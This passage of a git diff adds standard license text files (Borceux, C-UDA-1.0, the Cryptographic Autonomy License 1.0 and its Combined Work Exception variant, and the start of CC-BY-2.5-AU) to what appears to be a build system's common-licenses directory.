+without any warranty or condition, and no contributor
+will be liable to anyone for any damages related to this
+software or this license, under any kind of legal claim.***
diff --git a/meta/files/common-licenses/Borceux b/meta/files/common-licenses/Borceux
new file mode 100644
index 0000000000..4856e78859
--- /dev/null
+++ b/meta/files/common-licenses/Borceux
@@ -0,0 +1,19 @@
+Copyright 1993 Francis Borceux
+You may freely use, modify, and/or distribute each of the files in this package without limitation. The package consists of the following files:
+
+README
+compatibility/OldDiagram
+compatibility/OldMaxiDiagram
+compatibility/OldMicroDiagram
+compatibility/OldMiniDiagram
+compatibility/OldMultipleArrows
+diagram/Diagram
+diagram/MaxiDiagram
+diagram/MicroDiagram
+diagram/MiniDiagram
+diagram/MultipleArrows
+user-guides/Diagram_Mode_d_Emploi
+user-guides/Diagram_Read_Me
+
+Of course no support is guaranteed, but the author will attempt to assist with problems. Current email address:
+francis dot borceux at uclouvain dot be.
diff --git a/meta/files/common-licenses/C-UDA-1.0 b/meta/files/common-licenses/C-UDA-1.0
new file mode 100644
index 0000000000..9f7c57df5a
--- /dev/null
+++ b/meta/files/common-licenses/C-UDA-1.0
@@ -0,0 +1,47 @@
+Computational Use of Data Agreement v1.0
+
+This is the Computational Use of Data Agreement, Version 1.0 (the “C-UDA”). Capitalized terms are defined in Section 5. Data Provider and you agree as follows:
+
+1. Provision of the Data
+
+1.1. You may use, modify, and distribute the Data made available to you by the Data Provider under this C-UDA for Computational Use if you follow the C-UDA's terms.
+
+1.2. Data Provider will not sue you or any Downstream Recipient for any claim arising out of the use, modification, or distribution of the Data provided you meet the terms of the C-UDA.
+
+1.3 This C-UDA does not restrict your use, modification, or distribution of any portions of the Data that are in the public domain or that may be used, modified, or distributed under any other legal exception or limitation.
+
+2. Restrictions
+
+2.1 You agree that you will use the Data solely for Computational Use.
+
+2.2 The C-UDA does not impose any restriction with respect to the use, modification, or distribution of Results.
+
+3. Redistribution of Data
+
+3.1. You may redistribute the Data, so long as:
+
+3.1.1. You include with any Data you redistribute all credit or attribution information that you received with the Data, and your terms require any Downstream Recipient to do the same; and
+
+3.1.2. You bind each recipient to whom you redistribute the Data to the terms of the C-UDA.
+
+4. No Warranty, Limitation of Liability
+
+4.1. Data Provider does not represent or warrant that it has any rights whatsoever in the Data.
+
+4.2. THE DATA IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+4.3. NEITHER DATA PROVIDER NOR ANY UPSTREAM DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+5.1. “Computational Use” means activities necessary to enable the use of Data (alone or along with other material) for analysis by a computer.
+
+5.2.“Data” means the material you receive under the C-UDA in modified or unmodified form, but not including Results.
+
+5.3. “Data Provider” means the source from which you receive the Data and with whom you enter into the C-UDA.
+
+5.4. “Downstream Recipient” means any person or persons who receives the Data directly or indirectly from you in accordance with the C-UDA.
+
+5.5. “Result” means anything that you develop or improve from your use of Data that does not include more than a de minimis portion of the Data on which the use is based. Results may include de minimis portions of the Data necessary to report on or explain use that has been conducted with the Data, such as figures in scientific papers, but do not include more. Artificial intelligence models trained on Data (and which do not include more than a de minimis portion of Data) are Results.
+
+5.6. “Upstream Data Providers” means the source or sources from which the Data Provider directly or indirectly received, under the terms of the C-UDA, material that is included in the Data.
diff --git a/meta/files/common-licenses/CAL-1.0 b/meta/files/common-licenses/CAL-1.0
new file mode 100644
index 0000000000..4cebc6d54d
--- /dev/null
+++ b/meta/files/common-licenses/CAL-1.0
@@ -0,0 +1,354 @@
+# The Cryptographic Autonomy License, v. 1.0
+
+*This Cryptographic Autonomy License (the "License") applies to any
+Work whose owner has marked it with any of the following notices, or a
+similar demonstration of intent:*
+
+SPDX-License-Identifier: CAL-1.0
+Licensed under the Cryptographic Autonomy License version 1.0
+
+*or*
+
+SPDX-License-Identifier: CAL-1.0-Combined-Work-Exception
+Licensed under the Cryptographic Autonomy License version 1.0, with
+Combined Work Exception
+
+______________________________________________________________________
+
+## 1. Purpose
+
+This License gives You unlimited permission to use and modify the
+software to which it applies (the "Work"), either as-is or in modified
+form, for Your private purposes, while protecting the owners and
+contributors to the software from liability.
+
+This License also strives to protect the freedom and autonomy of third
+parties who receive the Work from you. If any non-affiliated third
+party receives any part, aspect, or element of the Work from You, this
+License requires that You provide that third party all the permissions
+and materials needed to independently use and modify the Work without
+that third party having a loss of data or capability due to your
+actions.
+
+The full permissions, conditions, and other terms are laid out below.
+
+## 2. Receiving a License
+
+In order to receive this License, You must agree to its rules. The
+rules of this License are both obligations of Your agreement with the
+Licensor and conditions to your License. You must not do anything with
+the Work that triggers a rule You cannot or will not follow.
+
+### 2.1. Application
+
+The terms of this License apply to the Work as you receive it from
+Licensor, as well as to any modifications, elaborations, or
+implementations created by You that contain any licensable portion of
+the Work (a "Modified Work"). Unless specified, any reference to the
+Work also applies to a Modified Work.
+
+### 2.2. Offer and Acceptance
+
+This License is automatically offered to every person and
+organization. You show that you accept this License and agree to its
+conditions by taking any action with the Work that, absent this
+License, would infringe any intellectual property right held by
+Licensor.
+
+### 2.3. Compliance and Remedies
+
+Any failure to act according to the terms and conditions of this
+License places Your use of the Work outside the scope of the License
+and infringes the intellectual property rights of the Licensor. In the
+event of infringement, the terms and conditions of this License may be
+enforced by Licensor under the intellectual property laws of any
+jurisdiction to which You are subject. You also agree that either the
+Licensor or a Recipient (as an intended third-party beneficiary) may
+enforce the terms and conditions of this License against You via
+specific performance.
+
+## 3. Permissions
+### 3.1. Permissions Granted
+
+Conditioned on compliance with section 4, and subject to the
+limitations of section 3.2, Licensor grants You the world-wide,
+royalty-free, non-exclusive permission to:
+
++ a) Take any action with the Work that would infringe the non-patent
+intellectual property laws of any jurisdiction to which You are
+subject; and
+
++ b) claims that Licensor can license or becomes able to
+license, to the extent that those claims are embodied in the Work as
+distributed by Licensor. ### 3.2. Limitations on Permissions Granted
+
+The following limitations apply to the permissions granted in section
+3.1:
+
++ a) Licensor does not grant any patent license for claims that are
+only infringed due to modification of the Work as provided by
+Licensor, or the combination of the Work as provided by Licensor,
+directly or indirectly, with any other component, including other
+software or hardware.
+
++ b) Licensor does not grant any license to the trademarks, service
+marks, or logos of Licensor, except to the extent necessary to comply
+with the attribution conditions in section 4.1 of this License.
+
+## 4. Conditions
+
+If You exercise any permission granted by this License, such that the
+Work, or any part, aspect, or element of the Work, is distributed,
+communicated, made available, or made perceptible to a non-Affiliate
+third party (a "Recipient"), either via physical delivery or via a
+network connection to the Recipient, You must comply with the
+following conditions:
+
+### 4.1. Provide Access to Source Code
+
+Subject to the exception in section 4.4, You must provide to each
+Recipient a copy of, or no-charge unrestricted network access to, the
+Source Code corresponding to the Work ("Access").
+
+The "Source Code" of the Work means the form of the Work preferred for
+making modifications, including any comments, configuration
+information, documentation, help materials, installation instructions,
+cryptographic seeds or keys, and any information reasonably necessary
+for the Recipient to independently compile and use the Source Code and
+to have full access to the functionality contained in the Work.
+
+#### 4.1.1. Providing Network Access to the Source Code
+
+Network Access to the Notices and Source Code may be provided by You
+or by a third party, such as a public software repository, and must
+persist during the same period in which You exercise any of the
+permissions granted to You under this License and for at least one
+year thereafter.
+
+#### 4.1.2. Source Code for a Modified Work
+
+Subject to the exception in section 4.5, You must provide to each
+Recipient of a Modified Work Access to Source Code corresponding to
+those portions of the Work remaining in the Modified Work as well as
+the modifications used by You to create the Modified Work. The Source
+Code corresponding to the modifications in the Modified Work must be
+provided to the Recipient either a) under this License, or b) under a
+Compatible Open Source License.
+
+A “Compatible Open Source License” means a license accepted by the Open Source
+Initiative that allows object code created using both Source Code provided under
+this License and Source Code provided under the other open source license to be
+distributed together as a single work.
+
+#### 4.1.3. Coordinated Disclosure of Security Vulnerabilities
+
+You may delay providing the Source Code corresponding to a particular
+modification of the Work for up to ninety (90) days (the "Embargo
+Period") if:
+
++ a) the modification is intended to address a newly-identified
+vulnerability or a security flaw in the Work,
+
++ b) disclosure of the vulnerability or security flaw before the end
+of the Embargo Period would put the data, identity, or autonomy of one
+or more Recipients of the Work at significant risk,
+
++ c) You are participating in a coordinated disclosure of the
+vulnerability or security flaw with one or more additional Licensees,
+and
+
++ d) Access to the Source Code pertaining to the modification is
+provided to all Recipients at the end of the Embargo Period.
+
+### 4.2. Maintain User Autonomy
+
+In addition to providing each Recipient the opportunity to have Access
+to the Source Code, You cannot use the permissions given under this
+License to interfere with a Recipient's ability to fully use an
+independent copy of the Work generated from the Source Code You
+provide with the Recipient's own User Data.
+
+"User Data" means any data that is an input to or an output from the
+Work, where the presence of the data is necessary for substantially
+identical use of the Work in an equivalent context chosen by the
+Recipient, and where the Recipient has an existing ownership interest,
+an existing right to possess, or where the data has been generated by,
+for, or has been assigned to the Recipient.
+
+#### 4.2.1. No Withholding User Data
+
+Throughout any period in which You exercise any of the permissions
+granted to You under this License, You must also provide to any
+Recipient to whom you provide services via the Work, a no-charge copy,
+provided in a commonly used electronic form, of the Recipient's User
+Data in your possession, to the extent that such User Data is
+available to You for use in conjunction with the Work.
+
+#### 4.2.2. No Technical Measures that Limit Access
+
+You may not, by means of the use cryptographic methods applied to
+anything provided to the Recipient, by possession or control of
+cryptographic keys, seeds, hashes, by any other technological
+protection measures, or by any other method, limit a Recipient's
+ability to access any functionality present in Recipient's independent
+copy of the Work, or to deny a Recipient full control of the
+Recipient's User Data.
+
+#### 4.2.3. No Legal or Contractual Measures that Limit Access
+
+You may not contractually restrict a Recipient's ability to
+independently exercise the permissions granted under this License. You
+waive any legal power to forbid circumvention of technical protection
+measures that include use of the Work, and You waive any claim that
+the capabilities of the Work were limited or modified as a means of
+enforcing the legal rights of third parties against Recipients.
+
+### 4.3. Provide Notices and Attribution
+
+You must retain all licensing, authorship, or attribution notices
+contained in the Source Code (the "Notices"), and provide all such
+Notices to each Recipient, together with a statement acknowledging the
+use of the Work. Notices may be provided directly to a Recipient or
+via an easy-to-find hyperlink to an Internet location also providing
+Access to Source Code.
+
+### 4.4. Scope of Conditions in this License
+
+You are required to uphold the conditions of this License only
+relative to those who are Recipients of the Work from You. Other than
+providing Recipients with the applicable Notices, Access to Source
+Code, and a copy of and full control of their User Data, nothing in
+this License requires You to provide processing services to or engage
+in network interactions with anyone.
+
+### 4.5. Combined Work Exception
+
+As an exception to condition that You provide Recipients Access to
+Source Code, any Source Code files marked by the Licensor as having
+the "Combined Work Exception," or any object code exclusively
+resulting from Source Code files so marked, may be combined with other
+Software into a "Larger Work." So long as you comply with the
+requirements to provide Recipients the applicable Notices and Access
+to the Source Code provided to You by Licensor, and you provide
+Recipients access to their User Data and do not limit Recipient's
+ability to independently work with their User Data, any other Software
+in the Larger Work as well as the Larger Work as a whole may be
+licensed under the terms of your choice.
+
+## 5. Term and Termination
+
+The term of this License begins when You receive the Work, and
+continues until terminated for any of the reasons described herein, or
+until all Licensor's intellectual property rights in the Software
+expire, whichever comes first ("Term"). This License cannot be
+revoked, only terminated for the reasons listed below.
+
+### 5.1. Effect of Termination
+
+If this License is terminated for any reason, all permissions granted
+to You under Section 3 by any Licensor automatically terminate. You
+will immediately cease exercising any permissions granted in this
+License relative to the Work, including as part of any Modified Work.
+
+### 5.2. Termination for Non-Compliance; Reinstatement
+
+This License terminates automatically if You fail to comply with any
+of the conditions in section 4. As a special exception to termination
+for non-compliance, Your permissions for the Work under this License
+will automatically be reinstated if You come into compliance with all
+the conditions in section 2 within sixty (60) days of being notified
+by Licensor or an intended third-party beneficiary of Your
+noncompliance. You are eligible for reinstatement of permissions for
+the Work one time only, and only for the sixty days immediately after
+becoming aware of noncompliance. Loss of permissions granted for the
+Work under this License due to either a) sustained noncompliance
+lasting more than sixty days or b) subsequent termination for
+noncompliance after reinstatement, is permanent, unless rights are
+specifically restored by Licensor in writing.
+
+### 5.3. Termination Due to Litigation
+
+If You initiate litigation against Licensor, or any Recipient of the
+Work, either direct or indirect, asserting that the Work directly or
+indirectly infringes any patent, then all permissions granted to You
+by this License shall terminate. In the event of termination due to
+litigation, all permissions validly granted by You under this License,
+directly or indirectly, shall survive termination. Administrative
+review procedures, declaratory judgment actions, counterclaims in
+response to patent litigation, and enforcement actions against former
+Licensees terminated under this section do not cause termination due
+to litigation.
+
+## 6. Disclaimer of Warranty and Limit on Liability
+
+As far as the law allows, the Work comes AS-IS, without any warranty
+of any kind, and no Licensor or contributor will be liable to anyone
+for any damages related to this software or this license, under any
+kind of legal claim, or for any type of damages, including indirect,
+special, incidental, or consequential damages of any type arising as a
+result of this License or the use of the Work including, without
+limitation, damages for loss of goodwill, work stoppage, computer
+failure or malfunction, loss of profits, revenue, or any and all other
+commercial damages or losses.
+
+## 7. Other Provisions
+### 7.1. Affiliates
+
+An "Affiliate" means any other entity that, directly or indirectly
+through one or more intermediaries, controls, is controlled by, or is
+under common control with, the Licensee. Employees of a Licensee and
+natural persons acting as contractors exclusively providing services
+to Licensee are also Affiliates.
+
+### 7.2. Choice of Jurisdiction and Governing Law
+
+A Licensor may require that any action or suit by a Licensee relating
+to a Work provided by Licensor under this License may be brought only
+in the courts of a particular jurisdiction and under the laws of a
+particular jurisdiction (excluding its conflict-of-law provisions), if
+Licensor provides conspicuous notice of the particular jurisdiction to
+all Licensees.
+
+### 7.3. No Sublicensing
+
+This License is not sublicensable. Each time You provide the Work or a
+Modified Work to a Recipient, the Recipient automatically receives a
+license under the terms described in this License. You may not impose
+any further reservations, conditions, or other provisions on any
+Recipients' exercise of the permissions granted herein.
+
+### 7.4. Attorneys' Fees
+
+In any action to enforce the terms of this License, or seeking damages
+relating thereto, including by an intended third-party beneficiary,
+the prevailing party shall be entitled to recover its costs and
+expenses, including, without limitation, reasonable attorneys' fees
+and costs incurred in connection with such action, including any
+appeal of such action. A "prevailing party" is the party that
+achieves, or avoids, compliance with this License, including through
+settlement. This section shall survive the termination of this
+License.
+
+### 7.5. No Waiver
+
+Any failure by Licensor to enforce any provision of this License will
+not constitute a present or future waiver of such provision nor limit
+Licensor's ability to enforce such provision at a later time.
+
+### 7.6. Severability
+
+If any provision of this License is held to be unenforceable, such
+provision shall be reformed only to the extent necessary to make it
+enforceable. Any invalid or unenforceable portion will be interpreted
+to the effect and intent of the original portion. If such a
+construction is not possible, the invalid or unenforceable portion
+will be severed from this License but the rest of this License will
+remain in full force and effect.
+
+### 7.7. License for the Text of this License
+
+The text of this license is released under the Creative Commons
+Attribution-ShareAlike 4.0 International License, with the caveat that
+any modifications of this license may not use the name "Cryptographic
+Autonomy License" or any name confusingly similar thereto to describe
+any derived work of this License.
diff --git a/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception b/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception
new file mode 100644
index 0000000000..4cebc6d54d
--- /dev/null
+++ b/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception
@@ -0,0 +1,354 @@
+# The Cryptographic Autonomy License, v. 1.0
+
+*This Cryptographic Autonomy License (the "License") applies to any
+Work whose owner has marked it with any of the following notices, or a
+similar demonstration of intent:*
+
+SPDX-License-Identifier: CAL-1.0
+Licensed under the Cryptographic Autonomy License version 1.0
+
+*or*
+
+SPDX-License-Identifier: CAL-1.0-Combined-Work-Exception
+Licensed under the Cryptographic Autonomy License version 1.0, with
+Combined Work Exception
+
+______________________________________________________________________
+
+## 1. Purpose
+
+This License gives You unlimited permission to use and modify the
+software to which it applies (the "Work"), either as-is or in modified
+form, for Your private purposes, while protecting the owners and
+contributors to the software from liability.
+
+This License also strives to protect the freedom and autonomy of third
+parties who receive the Work from you. If any non-affiliated third
+party receives any part, aspect, or element of the Work from You, this
+License requires that You provide that third party all the permissions
+and materials needed to independently use and modify the Work without
+that third party having a loss of data or capability due to your
+actions.
+
+The full permissions, conditions, and other terms are laid out below.
+
+## 2. Receiving a License
+
+In order to receive this License, You must agree to its rules. The
+rules of this License are both obligations of Your agreement with the
+Licensor and conditions to your License. You must not do anything with
+the Work that triggers a rule You cannot or will not follow.
+
+### 2.1. Application
+
+The terms of this License apply to the Work as you receive it from
+Licensor, as well as to any modifications, elaborations, or
+implementations created by You that contain any licensable portion of
+the Work (a "Modified Work"). Unless specified, any reference to the
+Work also applies to a Modified Work.
+
+### 2.2. Offer and Acceptance
+
+This License is automatically offered to every person and
+organization. You show that you accept this License and agree to its
+conditions by taking any action with the Work that, absent this
+License, would infringe any intellectual property right held by
+Licensor.
+
+### 2.3. Compliance and Remedies
+
+Any failure to act according to the terms and conditions of this
+License places Your use of the Work outside the scope of the License
+and infringes the intellectual property rights of the Licensor. In the
+event of infringement, the terms and conditions of this License may be
+enforced by Licensor under the intellectual property laws of any
+jurisdiction to which You are subject. You also agree that either the
+Licensor or a Recipient (as an intended third-party beneficiary) may
+enforce the terms and conditions of this License against You via
+specific performance.
+
+## 3. Permissions
+### 3.1. Permissions Granted
+
+Conditioned on compliance with section 4, and subject to the
+limitations of section 3.2, Licensor grants You the world-wide,
+royalty-free, non-exclusive permission to:
+
++ a) Take any action with the Work that would infringe the non-patent
+intellectual property laws of any jurisdiction to which You are
+subject; and
+
++ b) claims that Licensor can license or becomes able to
+license, to the extent that those claims are embodied in the Work as
+distributed by Licensor. ### 3.2. Limitations on Permissions Granted
+
+The following limitations apply to the permissions granted in section
+3.1:
+
++ a) Licensor does not grant any patent license for claims that are
+only infringed due to modification of the Work as provided by
+Licensor, or the combination of the Work as provided by Licensor,
+directly or indirectly, with any other component, including other
+software or hardware.
+
++ b) Licensor does not grant any license to the trademarks, service
+marks, or logos of Licensor, except to the extent necessary to comply
+with the attribution conditions in section 4.1 of this License.
+
+## 4. Conditions
+
+If You exercise any permission granted by this License, such that the
+Work, or any part, aspect, or element of the Work, is distributed,
+communicated, made available, or made perceptible to a non-Affiliate
+third party (a "Recipient"), either via physical delivery or via a
+network connection to the Recipient, You must comply with the
+following conditions:
+
+### 4.1. Provide Access to Source Code
+
+Subject to the exception in section 4.4, You must provide to each
+Recipient a copy of, or no-charge unrestricted network access to, the
+Source Code corresponding to the Work ("Access").
+
+The "Source Code" of the Work means the form of the Work preferred for
+making modifications, including any comments, configuration
+information, documentation, help materials, installation instructions,
+cryptographic seeds or keys, and any information reasonably necessary
+for the Recipient to independently compile and use the Source Code and
+to have full access to the functionality contained in the Work.
+
+#### 4.1.1. Providing Network Access to the Source Code
+
+Network Access to the Notices and Source Code may be provided by You
+or by a third party, such as a public software repository, and must
+persist during the same period in which You exercise any of the
+permissions granted to You under this License and for at least one
+year thereafter.
+
+#### 4.1.2. Source Code for a Modified Work
+
+Subject to the exception in section 4.5, You must provide to each
+Recipient of a Modified Work Access to Source Code corresponding to
+those portions of the Work remaining in the Modified Work as well as
+the modifications used by You to create the Modified Work. The Source
+Code corresponding to the modifications in the Modified Work must be
+provided to the Recipient either a) under this License, or b) under a
+Compatible Open Source License.
+
+A “Compatible Open Source License” means a license accepted by the Open Source
+Initiative that allows object code created using both Source Code provided under
+this License and Source Code provided under the other open source license to be
+distributed together as a single work.
+
+#### 4.1.3. Coordinated Disclosure of Security Vulnerabilities
+
+You may delay providing the Source Code corresponding to a particular
+modification of the Work for up to ninety (90) days (the "Embargo
+Period") if:
+
++ a) the modification is intended to address a newly-identified
+vulnerability or a security flaw in the Work,
+
++ b) disclosure of the vulnerability or security flaw before the end
+of the Embargo Period would put the data, identity, or autonomy of one
+or more Recipients of the Work at significant risk,
+
++ c) You are participating in a coordinated disclosure of the
+vulnerability or security flaw with one or more additional Licensees,
+and
+
++ d) Access to the Source Code pertaining to the modification is
+provided to all Recipients at the end of the Embargo Period.
+
+### 4.2. Maintain User Autonomy
+
+In addition to providing each Recipient the opportunity to have Access
+to the Source Code, You cannot use the permissions given under this
+License to interfere with a Recipient's ability to fully use an
+independent copy of the Work generated from the Source Code You
+provide with the Recipient's own User Data.
+
+"User Data" means any data that is an input to or an output from the
+Work, where the presence of the data is necessary for substantially
+identical use of the Work in an equivalent context chosen by the
+Recipient, and where the Recipient has an existing ownership interest,
+an existing right to possess, or where the data has been generated by,
+for, or has been assigned to the Recipient.
+
+#### 4.2.1. No Withholding User Data
+
+Throughout any period in which You exercise any of the permissions
+granted to You under this License, You must also provide to any
+Recipient to whom you provide services via the Work, a no-charge copy,
+provided in a commonly used electronic form, of the Recipient's User
+Data in your possession, to the extent that such User Data is
+available to You for use in conjunction with the Work.
+
+#### 4.2.2. No Technical Measures that Limit Access
+
+You may not, by means of the use cryptographic methods applied to
+anything provided to the Recipient, by possession or control of
+cryptographic keys, seeds, hashes, by any other technological
+protection measures, or by any other method, limit a Recipient's
+ability to access any functionality present in Recipient's independent
+copy of the Work, or to deny a Recipient full control of the
+Recipient's User Data.
+
+#### 4.2.3. No Legal or Contractual Measures that Limit Access
+
+You may not contractually restrict a Recipient's ability to
+independently exercise the permissions granted under this License. You
+waive any legal power to forbid circumvention of technical protection
+measures that include use of the Work, and You waive any claim that
+the capabilities of the Work were limited or modified as a means of
+enforcing the legal rights of third parties against Recipients.
+
+### 4.3. Provide Notices and Attribution
+
+You must retain all licensing, authorship, or attribution notices
+contained in the Source Code (the "Notices"), and provide all such
+Notices to each Recipient, together with a statement acknowledging the
+use of the Work. Notices may be provided directly to a Recipient or
+via an easy-to-find hyperlink to an Internet location also providing
+Access to Source Code.
+
+### 4.4. Scope of Conditions in this License
+
+You are required to uphold the conditions of this License only
+relative to those who are Recipients of the Work from You. Other than
+providing Recipients with the applicable Notices, Access to Source
+Code, and a copy of and full control of their User Data, nothing in
+this License requires You to provide processing services to or engage
+in network interactions with anyone.
+
+### 4.5. Combined Work Exception
+
+As an exception to condition that You provide Recipients Access to
+Source Code, any Source Code files marked by the Licensor as having
+the "Combined Work Exception," or any object code exclusively
+resulting from Source Code files so marked, may be combined with other
+Software into a "Larger Work." So long as you comply with the
+requirements to provide Recipients the applicable Notices and Access
+to the Source Code provided to You by Licensor, and you provide
+Recipients access to their User Data and do not limit Recipient's
+ability to independently work with their User Data, any other Software
+in the Larger Work as well as the Larger Work as a whole may be
+licensed under the terms of your choice.
+
+## 5. Term and Termination
+
+The term of this License begins when You receive the Work, and
+continues until terminated for any of the reasons described herein, or
+until all Licensor's intellectual property rights in the Software
+expire, whichever comes first ("Term"). This License cannot be
+revoked, only terminated for the reasons listed below.
+
+### 5.1. Effect of Termination
+
+If this License is terminated for any reason, all permissions granted
+to You under Section 3 by any Licensor automatically terminate. You
+will immediately cease exercising any permissions granted in this
+License relative to the Work, including as part of any Modified Work.
+
+### 5.2. Termination for Non-Compliance; Reinstatement
+
+This License terminates automatically if You fail to comply with any
+of the conditions in section 4. As a special exception to termination
+for non-compliance, Your permissions for the Work under this License
+will automatically be reinstated if You come into compliance with all
+the conditions in section 2 within sixty (60) days of being notified
+by Licensor or an intended third-party beneficiary of Your
+noncompliance. You are eligible for reinstatement of permissions for
+the Work one time only, and only for the sixty days immediately after
+becoming aware of noncompliance. Loss of permissions granted for the
+Work under this License due to either a) sustained noncompliance
+lasting more than sixty days or b) subsequent termination for
+noncompliance after reinstatement, is permanent, unless rights are
+specifically restored by Licensor in writing.
+
+### 5.3. Termination Due to Litigation
+
+If You initiate litigation against Licensor, or any Recipient of the
+Work, either direct or indirect, asserting that the Work directly or
+indirectly infringes any patent, then all permissions granted to You
+by this License shall terminate. In the event of termination due to
+litigation, all permissions validly granted by You under this License,
+directly or indirectly, shall survive termination. Administrative
+review procedures, declaratory judgment actions, counterclaims in
+response to patent litigation, and enforcement actions against former
+Licensees terminated under this section do not cause termination due
+to litigation.
+
+## 6. Disclaimer of Warranty and Limit on Liability
+
+As far as the law allows, the Work comes AS-IS, without any warranty
+of any kind, and no Licensor or contributor will be liable to anyone
+for any damages related to this software or this license, under any
+kind of legal claim, or for any type of damages, including indirect,
+special, incidental, or consequential damages of any type arising as a
+result of this License or the use of the Work including, without
+limitation, damages for loss of goodwill, work stoppage, computer
+failure or malfunction, loss of profits, revenue, or any and all other
+commercial damages or losses.
+
+## 7. Other Provisions
+### 7.1. Affiliates
+
+An "Affiliate" means any other entity that, directly or indirectly
+through one or more intermediaries, controls, is controlled by, or is
+under common control with, the Licensee. Employees of a Licensee and
+natural persons acting as contractors exclusively providing services
+to Licensee are also Affiliates.
+
+### 7.2. Choice of Jurisdiction and Governing Law
+
+A Licensor may require that any action or suit by a Licensee relating
+to a Work provided by Licensor under this License may be brought only
+in the courts of a particular jurisdiction and under the laws of a
+particular jurisdiction (excluding its conflict-of-law provisions), if
+Licensor provides conspicuous notice of the particular jurisdiction to
+all Licensees.
+
+### 7.3. No Sublicensing
+
+This License is not sublicensable. Each time You provide the Work or a
+Modified Work to a Recipient, the Recipient automatically receives a
+license under the terms described in this License. You may not impose
+any further reservations, conditions, or other provisions on any
+Recipients' exercise of the permissions granted herein.
+
+### 7.4. Attorneys' Fees
+
+In any action to enforce the terms of this License, or seeking damages
+relating thereto, including by an intended third-party beneficiary,
+the prevailing party shall be entitled to recover its costs and
+expenses, including, without limitation, reasonable attorneys' fees
+and costs incurred in connection with such action, including any
+appeal of such action. A "prevailing party" is the party that
+achieves, or avoids, compliance with this License, including through
+settlement. This section shall survive the termination of this
+License.
+
+### 7.5. No Waiver
+
+Any failure by Licensor to enforce any provision of this License will
+not constitute a present or future waiver of such provision nor limit
+Licensor's ability to enforce such provision at a later time.
+
+### 7.6. Severability
+
+If any provision of this License is held to be unenforceable, such
+provision shall be reformed only to the extent necessary to make it
+enforceable. Any invalid or unenforceable portion will be interpreted
+to the effect and intent of the original portion. If such a
+construction is not possible, the invalid or unenforceable portion
+will be severed from this License but the rest of this License will
+remain in full force and effect.
+
+### 7.7. License for the Text of this License
+
+The text of this license is released under the Creative Commons
+Attribution-ShareAlike 4.0 International License, with the caveat that
+any modifications of this license may not use the name "Cryptographic
+Autonomy License" or any name confusingly similar thereto to describe
+any derived work of this License.
diff --git a/meta/files/common-licenses/CC-BY-2.5-AU b/meta/files/common-licenses/CC-BY-2.5-AU
new file mode 100644
index 0000000000..23b8800919
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-2.5-AU
@@ -0,0 +1,112 @@
+Creative Commons Attribution 2.5 Australia
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORISED UNDER THIS LICENCE AND/OR APPLICABLE LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+ 1. Definitions
+
+ a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopaedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this Licence.
+
+ b. "Derivative Work" means a work that reproduces a substantial part of the Work, or of the Work and other pre-existing works protected by copyright, or that is an adaptation of a Work that is a literary, dramatic, musical or artistic work. Derivative Works include a translation, musical arrangement, dramatisation, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which a work may be adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ c. "Licensor" means the individual or entity that offers the Work under the terms of this Licence.
+
+ d. "Moral rights law" means laws under which an individual who creates a work protected by copyright has rights of integrity of authorship of the work, rights of attribution of authorship of the work, rights not to have authorship of the work falsely attributed, or rights of a similar or analogous nature in the work anywhere in the world.
+
+ e. "Original Author" means the individual or entity who created the Work.
+
+ f. "Work" means the work or other subject-matter protected by copyright that is offered under the terms of this Licence, which may include (without limitation) a literary, dramatic, musical or artistic work, a sound recording or cinematograph film, a published edition of a literary, dramatic, musical or artistic work or a television or sound broadcast.
+
+ g. "You" means an individual or entity exercising rights under this Licence who has not previously violated the terms of this Licence with respect to the Work, or who has received express permission from the Licensor to exercise rights under this Licence despite a previous violation.
+
+ h. "Licence Elements" means the following high-level licence attributes as selected by Licensor and indicated in the title of this Licence: Attribution, NonCommercial, NoDerivatives, ShareAlike.
+
